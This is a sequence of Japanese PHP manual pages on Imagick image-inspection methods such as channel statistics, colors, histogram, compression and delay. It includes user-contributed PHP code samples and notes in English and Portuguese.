The getImageChannelRange returns an array with two values mapped to the keys 'minima' and 'maxima', which are simply the minimum and maximum values of that particular channel within the image that this function is performed upon.  For photographs and high-quality imagery, that means that you're almost always guaranteed to have the minima be at 0 and the maxima be at the maximum bit-value allowed.  For most images, that's 65,535, which is the value of 2^16 (if you start counting at 0), meaning 16-bits per Channel imagery.  This goes for all of the channels.

If an image is simple, though, you may be able to get a better variety of ranges.  An image that was simply a red square, the maxima and minima values for the Red Channel were both 65,535 (max), while the channels for the maxima and minima values for all other channels was 0 (min).  If you want to know the maximum values you might get back for any of the channels, feed this function the default channel.

For your normal channels, you'll have something that looks like "imagick::CHANNEL_RED", but you could have unusual channels like "imagick::CHANNEL_OPACITY".  For colors, you have the "_VALUE" options of: red, gray, cyan, green, magenta, blue, yellow, all, and default.  For unusual channels, you have the "_VALUE" options of: undefined, alpha, opacity, matte, black, and index.  With this function, the unusual channels always produce a minima of 1.0E+37 (10^37) and a maxima of -1.0E-37 (-10^-37), which makes no sense, so stick to the color values I pointed to above.

This function doesn't work for you?  No problem.  The function getImageChannelExtrema does the same *EXACT* thing.  The only difference is that the error you get on the unusual channels: their minima and maxima, instead of defaulting to crazy values, simply defaults to 0.

In general, this function seems to have the utility of telling you how simple an image might be -- if the difference between a channel maxima and minima is very small, that means there wasn't much expression of color for that given channel.  This will probably be able to tell you whether an image was drawn in some simple paint program or if it's an actual photograph, but beyond that, you'll have to do intensive programming to make it figure something out more complicated.

And now, an example of the results for some red-only image:

ImageMagick - Channel Range
Channel - 'Undefined' :     Minima: 1.0E+37     Maxima: -1.0E-37
Channel - 'Red' :     Minima: 65535     Maxima: 65535
Channel - 'Gray' :     Minima: 65535     Maxima: 65535
Channel - 'Cyan' :     Minima: 65535     Maxima: 65535
Channel - 'Green' :     Minima: 0     Maxima: 0
Channel - 'Magenta' :     Minima: 0     Maxima: 0
Channel - 'Blue' :     Minima: 0     Maxima: 0
Channel - 'Yellow' :     Minima: 0     Maxima: 0
Channel - 'Alpha' :     Minima: 1.0E+37     Maxima: -1.0E-37
Channel - 'Opacity' :     Minima: 1.0E+37     Maxima: -1.0E-37
Channel - 'Matte' :     Minima: 1.0E+37     Maxima: -1.0E-37
Channel - 'Black' :     Minima: 1.0E+37     Maxima: -1.0E-37
Channel - 'Index' :     Minima: 1.0E+37     Maxima: -1.0E-37
Channel - 'All' :     Minima: 0     Maxima: 65535
Channel - 'Default' :     Minima: 0     Maxima: 65535


画像の各チャネルの統計情報を返す

  • ≪ Imagick::getImageChannelRange
  • Imagick::getImageClipMask ≫
  • PHP Manual
  • Imagick
  • 画像の各チャネルの統計情報を返す

Imagick::getImageChannelStatistics

(PECL imagick 2, PECL imagick 3)

Imagick::getImageChannelStatistics — 画像の各チャネルの統計情報を返す

説明

public Imagick::getImageChannelStatistics ( ) : array

画像の各チャネルの統計情報を返します。 この情報に含まれるのは、チャネルの深度、最小値と最大値、 平均値、そして標準偏差です。

返り値

成功した場合に true を返します。

User Contributed Notes

holdoffhunger at gmail dot com 14-May-2012 11:19
The ImageMagick function 'getImageChannelStatistics' returns an array of arrays.  The first array has keys with values set to 0, 1, 2, 4, 8, and 32.  Each of these arrays, in turn, has five values, mean, minima, maxima, standard deviation, and depth.  A sample print_r of the array produces...

Array
(
    [0] => Array
        (
            [mean] => 0
            [minima] => 1.0E+37
            [maxima] => -1.0E-37
            [standardDeviation] => 0
            [depth] => 1
        )

    [1] => Array
        (
            [mean] => 13215.2836185
            [minima] => 0
            [maxima] => 65535
            [standardDeviation] => 19099.2202751
            [depth] => 8
        )

[etc., etc..]
}

What does each 0, 1, 2, etc., value mean for the keys?  Those are shared, evaluated values of the ImageMagick Channel Constants.  You have the channel constant values that look like imagick::CHANNEL_UNDEFINED, with "_VALUE" values of: undefined, red, gray, cyan, green, magenta, blue, yellow, alpha, opacity, matte, black, index, all, and default.  If you actually print out these constants, you get '0' for undefined, '1' for red, gray, and cyan, '2' for green and magenta, '4' for blue and yellow, and '8' for alpha, opacity, and matte, or '32' for black and index.  Why do multiple channels share the same evaluated integer values?  That's because they're colors from different color spaces, with Red/Green/Blue being the RGB spectrum, Cyan/Magenta/Yellow/blacK being the CMYK spectrum, etc., etc..  If you want to get the statistical result values for Cyan or Red, you'll be accessing the same channel keys.

There are five values produced for each color channel.  The element values for the keys 'mean' and 'standardDeviation' are the results from the getImageChannelMean function.  The element values for the keys 'minima' and 'maxima' are the results from the getChannelRange function.  And the element values for the key 'depth' is the result from the getImageChannelDepth function.  All of these values can be useful in terms of measuring the Channel values of a particular image.

And now, some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Create Imagick Object
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Filename to Open
        // ---------------------------------------------

    $file_to_grab_with_location = "image_workshop_directory/test.bmp";

        // Open File
        // ---------------------------------------------

    $file_handle_for_viewing_image_file = fopen($file_to_grab_with_location, 'a+');

        // Read File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Statistics
        // ---------------------------------------------

    $imagick_type_channel_statistics = $imagick_type->getImageChannelStatistics();

        // Print Statistics
        // ---------------------------------------------

    print_r($imagick_type_channel_statistics);

?>


画像のクリップマスクを取得する

  • ≪ Imagick::getImageChannelStatistics
  • Imagick::getImageColormapColor ≫
  • PHP Manual
  • Imagick
  • 画像のクリップマスクを取得する

Imagick::getImageClipMask

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::getImageClipMask — 画像のクリップマスクを取得する

警告

この関数は Imagick 3.4.4 以降では 非推奨 になりました。この関数に依存したコードを書くのはやめましょう。

説明

public Imagick::getImageClipMask ( ) : Imagick

画像のクリップマスクを含む Imagick オブジェクトを返します。 このメソッドは、ImageMagick バージョン 6.3.6 以降で Imagick をコンパイルした場合に使用可能です。

返り値

画像のクリップマスクを含む Imagick オブジェクトを返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


指定したインデックスに対応する色マップ上の色を返す

  • ≪ Imagick::getImageClipMask
  • Imagick::getImageColors ≫
  • PHP Manual
  • Imagick
  • 指定したインデックスに対応する色マップ上の色を返す

Imagick::getImageColormapColor

(PECL imagick 2, PECL imagick 3)

Imagick::getImageColormapColor — 指定したインデックスに対応する色マップ上の色を返す

説明

public Imagick::getImageColormapColor ( int $index ) : ImagickPixel

指定したインデックスに対応する色マップ上の色を返します。

パラメータ

index

画像の色マップ内のオフセット。

返り値

成功した場合に true を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像で使われている色の数を取得する

  • ≪ Imagick::getImageColormapColor
  • Imagick::getImageColorspace ≫
  • PHP Manual
  • Imagick
  • 画像で使われている色の数を取得する

Imagick::getImageColors

(PECL imagick 2, PECL imagick 3)

Imagick::getImageColors — 画像で使われている色の数を取得する

説明

public Imagick::getImageColors ( ) : int

画像で使われている色の数を取得します。

返り値

画像で使われているユニークな色の数を int で返します。

User Contributed Notes

amaral dot regis at hotmail dot com 03-Apr-2018 01:27
O exemplo anterior apresentou numeros fracionados nas chaves da variavel $frequency_list_of_values:

Array
(
    [1 / 0 / 1] => 157295
    [0.83529411764706 / 0.87843137254902 / 0.82352941176471] => 1
    [0.80392156862745 / 0.84705882352941 / 0.7843137254902] => 2
    [0.8156862745098 / 0.84705882352941 / 0.78823529411765] => 1
...

Entao eu fiz uma alteracao que melhora o resultado para quem esta buscando saber quais as cores dominantes na imagem, mostrando a chave com o valor rgb exato:
<?php

        $file_to_grab_with_location = $imagepath; //caminho relativo ao arquivo de imagem

        $imagick_type = new \Imagick();

        $file_handle_for_viewing_image_file = fopen($file_to_grab_with_location, 'a+');
        $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        $frequency_list_of_values = array();

        $image_resolution_width = $imagick_type->getImageWidth();
        $image_resolution_height = $imagick_type->getImageHeight();

        print("Image Resolution:  Width - $image_resolution_width / Height - $image_resolution_height<br><br>");

        for($y = 0; $y < $image_resolution_height; $y++)
        {

            for($x = 0; $x < $image_resolution_width; $x++)
            {

                $pixel_to_examine = $imagick_type->getImagePixelColor($x,$y);

                if(isset($frequency_list_of_values[$pixel_to_examine->getColorAsString()]) == TRUE)
                {
                    $temp = $frequency_list_of_values[$pixel_to_examine->getColorAsString()];
                    $temp++;
                    $frequency_list_of_values[$pixel_to_examine->getColorAsString()] = $temp;
                }
                else
                {
                    $frequency_list_of_values[$pixel_to_examine->getColorAsString()] = 1;
                }
            }

            arsort($frequency_list_of_values);
        }

        print("<pre>");
        print_r($frequency_list_of_values);
        print("</pre>");

?>

Resultado:
Image Resolution: Width - 1965 / Height - 998

Array
(
    [srgba(255,0,255,0)] => 451654
    [srgb(54,52,53)] => 281069
    [srgb(177,51,54)] => 130449
    [srgb(236,50,55)] => 64001
...

O metodo e demorado para imagens muito grandes, pois ele analisa pixel a pixel.
holdoffhunger at gmail dot com 06-Apr-2012 10:54
I've had difficulty getting this function to return the number of unique colors.  Also, I wanted to be able to have an array with each $key value being the RGB of the pixel, and each $value value being the number of times that pixel occurs.  Basically, a frequency list.  For example, you would have "1 / 0 / 0" for red as a $key value, and "25" for the number of times that pixel color was in the image.  So, I wrote some code to do that, using a combination of readImageFile, getImageWidth, getImageHeight, getImagePixelColor, and a simple x/y parser, like so :

<?php

        // Test File
        // ---------------------------------------------

            // Note: This file was just a picture of a 5x5 red square
            //    inside of a gigantic 521x512 black square, and
            //    then I did a bunch of random, yellow zigzags.

    $file_to_grab_with_location = "test.bmp";

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_handle_for_viewing_image_file = fopen($file_to_grab_with_location, 'a+');
    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Preset Information
        // ---------------------------------------------

    $frequency_list_of_values = array();

        // Parse Pixels
        // ---------------------------------------------

    $image_resolution_width = $imagick_type->getImageWidth();
    $image_resolution_height = $imagick_type->getImageHeight();

    print("Image Resolution:  Width - $image_resolution_width / Height - $image_resolution_height<br><br>");

        // Parse Image Top-to-Bottom (Y-Variable)
        // ---------------------------------------------

    for($y = 0; $y < $image_resolution_height; $y++)
    {
            // Parse Image Left-to-Right (X-Variable)
            // ---------------------------------------------

        for($x = 0; $x < $image_resolution_width; $x++)
        {

                // Image Pixel Color
                // ---------------------------------------------

            $pixel_to_examine = $imagick_type->getImagePixelColor($x,$y);

            $pixel_to_examine_color_value_red = $pixel_to_examine->getColorValue(imagick::COLOR_RED);
            $pixel_to_examine_color_value_green = $pixel_to_examine->getColorValue(imagick::COLOR_GREEN);
            $pixel_to_examine_color_value_blue = $pixel_to_examine->getColorValue(imagick::COLOR_BLUE);

                // Set Key Value
                // ---------------------------------------------

            $key_value =    $pixel_to_examine_color_value_red    .    " / "    .
                    $pixel_to_examine_color_value_green    .    " / "    .
                    $pixel_to_examine_color_value_blue            ;

                // Increment Array Entry for Color
                // ---------------------------------------------

            if(isset($frequency_list_of_values[$key_value]) == TRUE)
            {
                $temp = $frequency_list_of_values[$key_value];
                $temp++;
                $frequency_list_of_values[$key_value] = $temp;
            }
            else
            {
                $frequency_list_of_values[$key_value] = 1;
            }
        }
    }

        // Print Out Array of Values
        // ---------------------------------------------

    print("<pre>");
    print_r($frequency_list_of_values);
    print("</pre>");

/*

    Results:
    ------------------

Image Resolution: Width - 521 / Height - 512

Array
(
    [1 / 0 / 0] => 25
    [0 / 0 / 1] => 264107
    [1 / 1 / 0] => 2620
)

*/

?>


画像の色空間を取得する

  • ≪ Imagick::getImageColors
  • Imagick::getImageCompose ≫
  • PHP Manual
  • Imagick
  • 画像の色空間を取得する

Imagick::getImageColorspace

(PECL imagick 2, PECL imagick 3)

Imagick::getImageColorspace — 画像の色空間を取得する

説明

public Imagick::getImageColorspace ( ) : int

画像の色空間を取得します。

返り値

COLORSPACE 定数 と比較できる整数を返します。

User Contributed Notes

There are no user contributed notes for this page.


画像の合成演算子を返す

  • ≪ Imagick::getImageColorspace
  • Imagick::getImageCompression ≫
  • PHP Manual
  • Imagick
  • 画像の合成演算子を返す

Imagick::getImageCompose

(PECL imagick 2, PECL imagick 3)

Imagick::getImageCompose — 画像の合成演算子を返す

説明

public Imagick::getImageCompose ( ) : int

画像に関連付けられている合成演算子を返します。

返り値

成功した場合に true を返します。

User Contributed Notes

There are no user contributed notes for this page.


現在の画像の圧縮形式を取得する

  • ≪ Imagick::getImageCompose
  • Imagick::getImageCompressionQuality ≫
  • PHP Manual
  • Imagick
  • 現在の画像の圧縮形式を取得する

Imagick::getImageCompression

(PECL imagick 3 >= 3.3.0)

Imagick::getImageCompression — 現在の画像の圧縮形式を取得する

説明

public Imagick::getImageCompression ( ) : int

現在の画像の圧縮形式を取得します。

返り値

圧縮形式を表す定数を返します。

User Contributed Notes

Mondragon 16-Jul-2020 05:25
Example use:

$im = new Imagick("mypicture.jpg");
$ctype = $im->getImageCompression();
if($ctype == Imagick::COMPRESSION_ZIP) echo "PNG file!";
if($ctype == Imagick::COMPRESSION_JPEG) echo "JPG file!";
if($ctype == Imagick::COMPRESSION_LZW) echo "GIF file!";

All options:
COMPRESSION_UNDEFINED
COMPRESSION_NO
COMPRESSION_BZIP
COMPRESSION_FAX
COMPRESSION_GROUP4
COMPRESSION_JPEG
COMPRESSION_JPEG2000
COMPRESSION_LOSSLESSJPEG
COMPRESSION_LZW
COMPRESSION_RLE
COMPRESSION_ZIP
COMPRESSION_DXT1
COMPRESSION_DXT3
COMPRESSION_DXT5
COMPRESSION_ZIPS
COMPRESSION_PIZ
COMPRESSION_PXR24
COMPRESSION_B44
COMPRESSION_B44A
COMPRESSION_LZMA
COMPRESSION_JBIG1
COMPRESSION_JBIG2

The numbers for which those constants stand differ by version. So always use the constants.
alitrix at gmail dot com 20-Oct-2017 12:51
This function is added in version 3.3.0 and above
undoable at gmail dot com 03-Jul-2013 10:44
This function is undefined. You must use getImageCompressionQuality() instead.


現在の画像の圧縮品質を取得する

  • ≪ Imagick::getImageCompression
  • Imagick::getImageDelay ≫
  • PHP Manual
  • Imagick
  • 現在の画像の圧縮品質を取得する

Imagick::getImageCompressionQuality

(PECL imagick 2 >= 2.2.2, PECL imagick 3)

Imagick::getImageCompressionQuality — 現在の画像の圧縮品質を取得する

説明

public Imagick::getImageCompressionQuality ( ) : int

現在の画像の圧縮品質を取得します。

返り値

画像の圧縮品質を表す整数値を返します。

User Contributed Notes

sNniffer 14-May-2020 03:13
using

    $img = new Imagick();
    $img->readImage( $local_da_imagem );
    print_r( $img->getImageCompressionQuality() );


画像の遅延を取得する

  • ≪ Imagick::getImageCompressionQuality
  • Imagick::getImageDepth ≫
  • PHP Manual
  • Imagick
  • 画像の遅延を取得する

Imagick::getImageDelay

(PECL imagick 2, PECL imagick 3)

Imagick::getImageDelay — 画像の遅延を取得する

説明

public Imagick::getImageDelay ( ) : int

画像の遅延を取得します。

返り値

画像の遅延を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

ijtabahussain at live dot com 25-Jan-2015 01:27
Seems to return the image delay in centiseconds
jabaga at abv dot bg 18-Sep-2011 08:31
Here is how you can get the delay between the frames in gif file:

<?php
$animation = new Imagick("file.gif");

foreach ($animation as $frame) {
  $delay = $animation->getImageDelay();

echo $delay;
}
?>


画像の深度を取得する

  • ≪ Imagick::getImageDelay
  • Imagick::getImageDispose ≫
  • PHP Manual
  • Imagick
  • 画像の深度を取得する

Imagick::getImageDepth

(PECL imagick 2, PECL imagick 3)

Imagick::getImageDepth — 画像の深度を取得する

説明

public Imagick::getImageDepth ( ) : int

画像の深度を取得します。

返り値

画像の深度を返します。

User Contributed Notes

There are no user contributed notes for this page.


画像の配置方法を取得する

  • ≪ Imagick::getImageDepth
  • Imagick::getImageDistortion ≫
  • PHP Manual
  • Imagick
  • 画像の配置方法を取得する

Imagick::getImageDispose

(PECL imagick 2, PECL imagick 3)

Imagick::getImageDispose — 画像の配置方法を取得する

説明

public Imagick::getImageDispose ( ) : int

画像の配置方法を取得します。

返り値

成功した場合に配置方法を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


ある画像と再構築した画像を比較する

  • ≪ Imagick::getImageDispose
  • Imagick::getImageExtrema ≫
  • PHP Manual
  • Imagick
  • ある画像と再構築した画像を比較する

Imagick::getImageDistortion

(PECL imagick 2, PECL imagick 3)

Imagick::getImageDistortion — ある画像と再構築した画像を比較する

説明

public Imagick::getImageDistortion ( MagickWand $reference , int $metric ) : float

ある画像と再構築した画像を比較し、 指定した歪み係数を返します。

パラメータ

reference

比較する Imagick オブジェクト。

metric

メトリック型定数 のいずれか。

返り値

その画像で使用する歪み係数 (あるいはその推測値) を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の極値を取得する

  • ≪ Imagick::getImageDistortion
  • Imagick::getImageFilename ≫
  • PHP Manual
  • Imagick
  • 画像の極値を取得する

Imagick::getImageExtrema

(PECL imagick 2, PECL imagick 3)

Imagick::getImageExtrema — 画像の極値を取得する

警告

この関数は Imagick 3.4.4 以降では 非推奨 になりました。この関数に依存したコードを書くのはやめましょう。

説明

public Imagick::getImageExtrema ( ) : array

画像の極値を取得します。 "min" および "max" というキーを持つ連想配列を返します。

返り値

"min" および "max" というキーを持つ連想配列を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


シーケンス内の特定の画像のファイル名を返す

  • ≪ Imagick::getImageExtrema
  • Imagick::getImageFormat ≫
  • PHP Manual
  • Imagick
  • シーケンス内の特定の画像のファイル名を返す

Imagick::getImageFilename

(PECL imagick 2, PECL imagick 3)

Imagick::getImageFilename — シーケンス内の特定の画像のファイル名を返す

説明

public Imagick::getImageFilename ( ) : string

シーケンス内の特定の画像のファイル名を返します。

返り値

画像のファイル名を文字列で返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


シーケンス内の特定の画像のフォーマットを返す

  • ≪ Imagick::getImageFilename
  • Imagick::getImageGamma ≫
  • PHP Manual
  • Imagick
  • シーケンス内の特定の画像のフォーマットを返す

Imagick::getImageFormat

(PECL imagick 2, PECL imagick 3)

Imagick::getImageFormat — シーケンス内の特定の画像のフォーマットを返す

説明

public Imagick::getImageFormat ( ) : string

シーケンス内の特定の画像のフォーマットを返します。

返り値

成功した場合は画像のフォーマットを文字列で返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

orrd101 at yahoo dot com 21-Feb-2013 12:49
Use Imagick::queryFormats() to get a list of possible format names that might be returned by this function.


画像のガンマを取得する

  • ≪ Imagick::getImageFormat
  • Imagick::getImageGeometry ≫
  • PHP Manual
  • Imagick
  • 画像のガンマを取得する

Imagick::getImageGamma

(PECL imagick 2, PECL imagick 3)

Imagick::getImageGamma — 画像のガンマを取得する

説明

public Imagick::getImageGamma ( ) : float

画像のガンマを取得します。

返り値

成功した場合にガンマを返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


幅と高さを連想配列で取得する

  • ≪ Imagick::getImageGamma
  • Imagick::getImageGravity ≫
  • PHP Manual
  • Imagick
  • 幅と高さを連想配列で取得する

Imagick::getImageGeometry

(PECL imagick 2, PECL imagick 3)

Imagick::getImageGeometry — 幅と高さを連想配列で取得する

説明

public Imagick::getImageGeometry ( ) : array

幅と高さを連想配列で返します。

返り値

画像の幅と高さを表す配列を返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Imagick::getImageGeometry()

<?php
function getImageGeometry($imagePath) {
    $imagick = new \Imagick(realpath($imagePath));
    header("Content-Type: image/jpg");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

tim at provu dot co dot uk 20-Nov-2008 07:05
Example code:

<?php
$image = new imagick($filename);

$geo=$image->getImageGeometry();

$sizex=$geo['width'];
$sizey=$geo['height'];
?>


画像の gravity を取得する

  • ≪ Imagick::getImageGeometry
  • Imagick::getImageGreenPrimary ≫
  • PHP Manual
  • Imagick
  • 画像の gravity を取得する

Imagick::getImageGravity

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::getImageGravity — 画像の gravity を取得する

説明

public Imagick::getImageGravity ( ) : int

画像の原罪の current 値を取得します。 Imagick::getGravity() とは異なり、 このメソッドは原罪の画像シーケンスで定義された gravity を返します。 このメソッドは、ImageMagick バージョン 6.4.4 以降で Imagick をコンパイルした場合に使用可能です。

返り値

画像の property プロパティを返します。 gravity 定数 の一覧を参照ください。

User Contributed Notes

There are no user contributed notes for this page.


緑が一番強い点を返す

  • ≪ Imagick::getImageGravity
  • Imagick::getImageHeight ≫
  • PHP Manual
  • Imagick
  • 緑が一番強い点を返す

Imagick::getImageGreenPrimary

(PECL imagick 2, PECL imagick 3)

Imagick::getImageGreenPrimary — 緑が一番強い点を返す

説明

public Imagick::getImageGreenPrimary ( ) : array

緑が一番強い点を返します。"x" および "y" というキーを持つ配列を返します。

返り値

成功した場合に "x" および "y" というキーを持つ配列を返します。 失敗した場合は ImagickException をスローします。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の高さを返す

  • ≪ Imagick::getImageGreenPrimary
  • Imagick::getImageHistogram ≫
  • PHP Manual
  • Imagick
  • 画像の高さを返す

Imagick::getImageHeight

(PECL imagick 2, PECL imagick 3)

Imagick::getImageHeight — 画像の高さを返す

説明

public Imagick::getImageHeight ( ) : int

画像の高さを返します。

返り値

画像の高さをピクセル数で返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

perching_eagle at yahoo dot com 04-Oct-2007 06:19
//file location c:/htdocs/rose.jpg
$image=new Imagick("c:/htdocs/rose.jpg");
$height=$image->getImageHeight();
print "the image height is ".$height;

result:
the image height is 134


画像のヒストグラムを取得する

  • ≪ Imagick::getImageHeight
  • Imagick::getImageIndex ≫
  • PHP Manual
  • Imagick
  • 画像のヒストグラムを取得する

Imagick::getImageHistogram

(PECL imagick 2, PECL imagick 3)

Imagick::getImageHistogram — 画像のヒストグラムを取得する

説明

public Imagick::getImageHistogram ( ) : array

画像のヒストグラムを ImagickPixel オブジェクトの配列で返します。

返り値

画像のヒストグラムを ImagickPixel オブジェクトの配列で返します。

エラー / 例外

エラー時に ImagickException をスローします。

例

例1 Generates Imagick::getImageHistogram()

<?php
function getColorStatistics($histogramElements, $colorChannel) {
    $colorStatistics = [];

    foreach ($histogramElements as $histogramElement) {
        $color = $histogramElement->getColorValue($colorChannel);
        $color = intval($color * 255);
        $count = $histogramElement->getColorCount();

        if (array_key_exists($color, $colorStatistics)) {
            $colorStatistics[$color] += $count;
        }
        else {
            $colorStatistics[$color] = $count;
        }
    }

    ksort($colorStatistics);

    return $colorStatistics;
}

function getImageHistogram($imagePath) {

    $backgroundColor = 'black';

    $draw = new \ImagickDraw();
    $draw->setStrokeWidth(0); //make the lines be as thin as possible

    $imagick = new \Imagick();
    $imagick->newImage(500, 500, $backgroundColor);
    $imagick->setImageFormat("png");
    $imagick->drawImage($draw);

    $histogramWidth = 256;
    $histogramHeight = 100; // the height for each RGB segment

    $imagick = new \Imagick(realpath($imagePath));
    //Resize the image to be small, otherwise PHP tends to run out of memory
    //This might lead to bad results for images that are pathologically 'pixelly'
    $imagick->adaptiveResizeImage(200, 200, true);
    $histogramElements = $imagick->getImageHistogram();

    $histogram = new \Imagick();
    $histogram->newpseudoimage($histogramWidth, $histogramHeight * 3, 'xc:black');
    $histogram->setImageFormat('png');

    $getMax = function ($carry, $item)  {
        if ($item > $carry) {
            return $item;
        }
        return $carry;
    };

    $colorValues = [
        'red' => getColorStatistics($histogramElements, \Imagick::COLOR_RED),
        'lime' => getColorStatistics($histogramElements, \Imagick::COLOR_GREEN),
        'blue' => getColorStatistics($histogramElements, \Imagick::COLOR_BLUE),
    ];

    $max = array_reduce($colorValues['red'] , $getMax, 0);
    $max = array_reduce($colorValues['lime'] , $getMax, $max);
    $max = array_reduce($colorValues['blue'] , $getMax, $max);

    $scale =  $histogramHeight / $max;

    $count = 0;
    foreach ($colorValues as $color => $values) {
        $draw->setstrokecolor($color);

        $offset = ($count + 1) * $histogramHeight;

        foreach ($values as $index => $value) {
            $draw->line($index, $offset, $index, $offset - ($value * $scale));
        }
        $count++;
    }

    $histogram->drawImage($draw);

    header( "Content-Type: image/png" );
    echo $histogram;
}

?>

User Contributed Notes

Iddles 20-Jun-2011 04:02
Scratched my head for a while trying to figure out why this only returned a list of coloured pixels, and seemingly no colour count. Well it turns out that for some reason, the ImagickPixel class has a "getColorCount" method, which seems a strange place for it but hey.

<?php
$image = new Imagick("thing.png");
$pixels=$image->getImageHistogram();
foreach($pixels as $p){
 $colors = $p->getColor();
 foreach($colors as $c){
        print( "$c\t" );
 }
 print( "\t:\t" . $p->getColorCount() . "\n" );
}
?>

This will print out something like:

252    250    252    1    :    125
194    156    182    1    :    126
109    18    79    1    :    11440
2    117    162    1    :    12761
255    255    255    1    :    40769

...where the colums are red, green, blue, alpha, followed by the number of times that colour appears in the image.


現在アクティブな画像のインデックスを取得する

  • ≪ Imagick::getImageHistogram
  • Imagick::getImageInterlaceScheme ≫
  • PHP Manual
  • Imagick
  • 現在アクティブな画像のインデックスを取得する

Imagick::getImageIndex

(PECL imagick 2, PECL imagick 3)

Imagick::getImageIndex — 現在アクティブな画像のインデックスを取得する

警告

この関数は Imagick 3.4.4 以降では 非推奨 になりました。この関数に依存したコードを書くのはやめましょう。

説明

public Imagick::getImageIndex ( ) : int

Imagick オブジェクト内で現在アクティブな画像のインデックスを取得します。 このメソッドは非推奨です。 Imagick::getIteratorIndex() を参照ください。

返り値

スタック内の画像のインデックスを表す整数値を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像のインターレース手法を取得する

  • ≪ Imagick::getImageIndex
  • Imagick::getImageInterpolateMethod ≫
  • PHP Manual
  • Imagick
  • 画像のインターレース手法を取得する

Imagick::getImageInterlaceScheme

(PECL imagick 2, PECL imagick 3)

Imagick::getImageInterlaceScheme — 画像のインターレース手法を取得する

説明

public Imagick::getImageInterlaceScheme ( ) : int

画像のインターレース手法を取得します。

返り値

成功した場合に画像のインターレース手法を返します。 エラー時に ImagickException をスローします。

User Contributed Notes

holdoffhunger at gmail dot com 13-Mar-2013 01:59
Image Interlacing is simply combining two images by layering one over the other with a certain opacity (usually 50%).  The intention is to use the image in video, so that two images are displayed within one single frame, thereby doubling the frames-per-second without doubling the actual, physical amount of frames.  Wikipedia provides a fairly decent explanation of this type of video technology: http://en.wikipedia.org/wiki/Interlaced_video .

Best Description :
http://www.100fps.com/

Some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.jpg";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Rendering Intent Values
        // ---------------------------------------------

    $imagick_rendering_intent = $imagick_type->getImageRenderingIntent();

    switch($imagick_rendering_intent)
    {
        case '0':
            $image_rendering_intent_evaluated = "Undefined";
            break;

        case '1':
            $image_rendering_intent_evaluated = "Saturation";
            break;

        case '2':
            $image_rendering_intent_evaluated = "Perceptual";
            break;

        case '3':
            $image_rendering_intent_evaluated = "Absolute";
            break;

        case '4':
            $image_rendering_intent_evaluated = "Relative";
            break;
    }

        // Print Rendering Intent Values
        // ---------------------------------------------

    print("# $imagick_rendering_intent - $image_rendering_intent_evaluated");

?>


画像の補間方式を返す

  • ≪ Imagick::getImageInterlaceScheme
  • Imagick::getImageIterations ≫
  • PHP Manual
  • Imagick
  • 画像の補間方式を返す

Imagick::getImageInterpolateMethod

(PECL imagick 2, PECL imagick 3)

Imagick::getImageInterpolateMethod — 画像の補間方式を返す

説明

public Imagick::getImageInterpolateMethod ( ) : int

指定した画像の補間方式を返します。 方式は Imagick::INTERPOLATE_* 定数のいずれかで指定します。

返り値

成功した場合に補間方式を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

There are no user contributed notes for this page.


画像の反復を取得する

  • ≪ Imagick::getImageInterpolateMethod
  • Imagick::getImageLength ≫
  • PHP Manual
  • Imagick
  • 画像の反復を取得する

Imagick::getImageIterations

(PECL imagick 2, PECL imagick 3)

Imagick::getImageIterations — 画像の反復を取得する

説明

public Imagick::getImageIterations ( ) : int

画像の反復を取得します。

返り値

画像の反復を表す整数値を返します。

エラー / 例外

エラー時に ImagickException をスローします。

User Contributed Notes

admin at zasmeshi dot ru 14-Dec-2016 12:57
If you want get the number of the animation (GIF) frames you need to use Imagick::getNumberImages()
holdoffhunger at gmail dot com 26-May-2012 11:22
By using the PHP function getImageIterations, you'll receive back a value indicating the animated nature of the image.  You'll get back a '0' for a still image that is not animated (like a .BMP or a .JPEG file) and a '1' for an animated image (like an animated .GIF file).

I have been unable to get any other results from this function, after extensive use.  There is some discussion among the ImageMagick user's group saying that the Iterations should indicate the number of times an animated .Gif file repeats itself.  However, it's possible that either modern browsers default the value to infinity or that this ImageMagick functionality is only available at the Linux command-line.  See more at the discussion group here: http://studio.imagemagick.org/pipermail/magick-users/2002-October/005814.html

And some sample code :

<?php

            // Author: holdoffhunger@gmail.com

        // Imagick Type
        // ---------------------------------------------

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_to_grab = "image_workshop_directory/test.gif";

    $file_handle_for_viewing_image_file = fopen($file_to_grab, 'a+');

        // Grab File
        // ---------------------------------------------

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Get Image Iterations
